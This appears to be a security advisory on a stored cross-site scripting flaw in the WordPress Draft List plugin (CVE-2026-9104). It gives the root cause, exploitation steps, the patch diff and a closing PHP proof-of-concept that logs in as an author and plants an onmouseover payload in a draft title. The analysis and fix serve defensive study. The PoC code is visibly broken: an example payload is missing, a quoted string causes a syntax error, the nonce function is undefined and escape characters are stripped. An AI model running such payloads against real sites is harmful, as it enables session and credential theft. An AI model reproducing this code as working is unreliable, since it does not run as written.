Atomic Edge analysis of CVE-2026-9104:
A stored cross-site scripting vulnerability exists in the Draft List plugin (simple-draft-list) for WordPress, version 2.6.3 and earlier. The vulnerability permits authenticated attackers with author-level access or higher to inject persistent JavaScript payloads via draft post titles. The injected scripts execute whenever a user without edit capabilities views the draft list, which includes unauthenticated visitors and subscribers. The CVSS score is 6.4 (Medium).
Root Cause:
The vulnerability originates in the file simple-draft-list/inc/create-lists.php at lines 389-393. When rendering a draft post title, the plugin uses the variable $draft_title directly in a string replacement without sanitization. Specifically, line 389 assigns $draft = $draft_title, which comes from the post title (a user-supplied field). The title is later passed through esc_html() only inside the edit-link branch (line 395), but the fallback path for users without edit capabilities uses the raw $draft value without escaping. This means a draft title containing attribute-breaking payloads like onmouseover=alert(1) is rendered unsanitized when $can_edit is false, leading to XSS.
Exploitation:
An attacker with author-level privileges can craft a new draft post with a malicious title. The title must include an XSS vector, such as:
or an attribute-breakout like ” onmouseover=alert(1) x=” . The attacker then publishes the draft list shortcode on a page accessible to lower-privileged users. When a subscriber or unauthenticated visitor views that page, the plugin calls the vulnerable code path because $can_edit evaluates to false, and the raw title string is injected directly into the HTML output, executing the payload.
Patch Analysis:
The patch applies esc_html() to $draft_title before it enters the non-editable branch, ensuring the output is HTML-encoded. In the editable branch, the patch also hardens the URL construction by using admin_url() and absint() for the post ID, preventing open redirect and SQL injection. The change moves from $draft = $draft_title to $draft = esc_html( $draft_title ) on line 389, and from a home_url() concatenation to a properly escaped admin_url() call. This ensures that regardless of the user’s edit capabilities, the title and URL are safely encoded.
Impact:
Successful exploitation allows attackers to inject arbitrary JavaScript into the draft list page. The script runs in the context of any user viewing that page, including administrators. This can lead to session hijacking, credential theft, privilege escalation (if an admin reviews the draft list), defacement, or redirection to malicious sites. The vulnerability affects both authenticated low-privilege users and unauthenticated visitors, making it a significant risk for any WordPress site using the plugin.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/simple-draft-list/inc/create-lists.php
+++ b/simple-draft-list/inc/create-lists.php
@@ -386,12 +386,13 @@
// Replace the draft tag.
if ( '' !== $draft_title ) {
- $draft = $draft_title;
+ $draft = esc_html( $draft_title );
} else {
- $draft = __( '(no title)', 'simple-draft-list' );
+ $draft = esc_html__( '(no title)', 'simple-draft-list' );
}
if ( $can_edit ) {
- $draft = '<a href="' . home_url() . '/wp-admin/post.php?post=' . $post_id . '&action=edit" rel="nofollow">' . esc_html( $draft ) . '</a>';
+ $edit_url = esc_url( admin_url( 'post.php?post=' . absint( $post_id ) . '&action=edit' ) );
+ $draft = '<a href="' . $edit_url . '" rel="nofollow">' . $draft . '</a>';
}
$this_line = str_replace( '{{draft}}', $draft, $this_line );
--- a/simple-draft-list/simple-draft-list.php
+++ b/simple-draft-list/simple-draft-list.php
@@ -9,7 +9,7 @@
* Plugin Name: Draft List
* Plugin URI: https://wordpress.org/plugins/simple-draft-list/
* Description: Promote your unpublished content.
- * Version: 2.6.3
+ * Version: 2.6.4
* Requires at least: 4.6
* Requires PHP: 7.4
* Author: David Artiss
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9104 - Draft List <= 2.6.3 - Authenticated (Author+) Stored XSS via Draft Post Title
// Configuration - adjust these values
define('TARGET_URL', 'http://example.com'); // WordPress site URL
define('AUTHOR_USER', 'author'); // Author-level account username
define('AUTHOR_PASS', 'authorpassword'); // Author-level account password
// Step 1: Log in as author and get cookies
$login_url = TARGET_URL . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode(AUTHOR_USER) . '&pwd=' . urlencode(AUTHOR_PASS) . '&wp-submit=Log+In');
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
$response = curl_exec($ch);
preg_match('/Set-Cookie: ([^rn]+)/i', $response, $matches);
curl_close($ch);
// Step 2: Create a new draft post with XSS payload in the title
// The title uses an attribute-breakout to execute script on hover
$xss_payload = '" onmouseover="alert('XSS by Atomic Edge');return false;';
$api_url = TARGET_URL . '/wp-json/wp/v2/posts';
$args = array(
'title' => $xss_payload,
'content' => 'This is a draft created to demonstrate CVE-2026-9104.',
'status' => 'draft',
);
$json_data = json_encode($args);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Content-Length: ' . strlen($json_data),
'X-WP-Nonce: ' . wp_get_nonce(), // Obtain nonce via separate request if needed
));
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
// Note: For a full PoC, implement a nonce retrieval from wp-admin/admin-ajax.php
// and adjust the REST API call accordingly. This skeleton demonstrates the core logic.
echo "Draft post created with XSS payload: " . $xss_payload . "n";
echo "Visit the page containing the [draft_list] shortcode to trigger the XSS.n";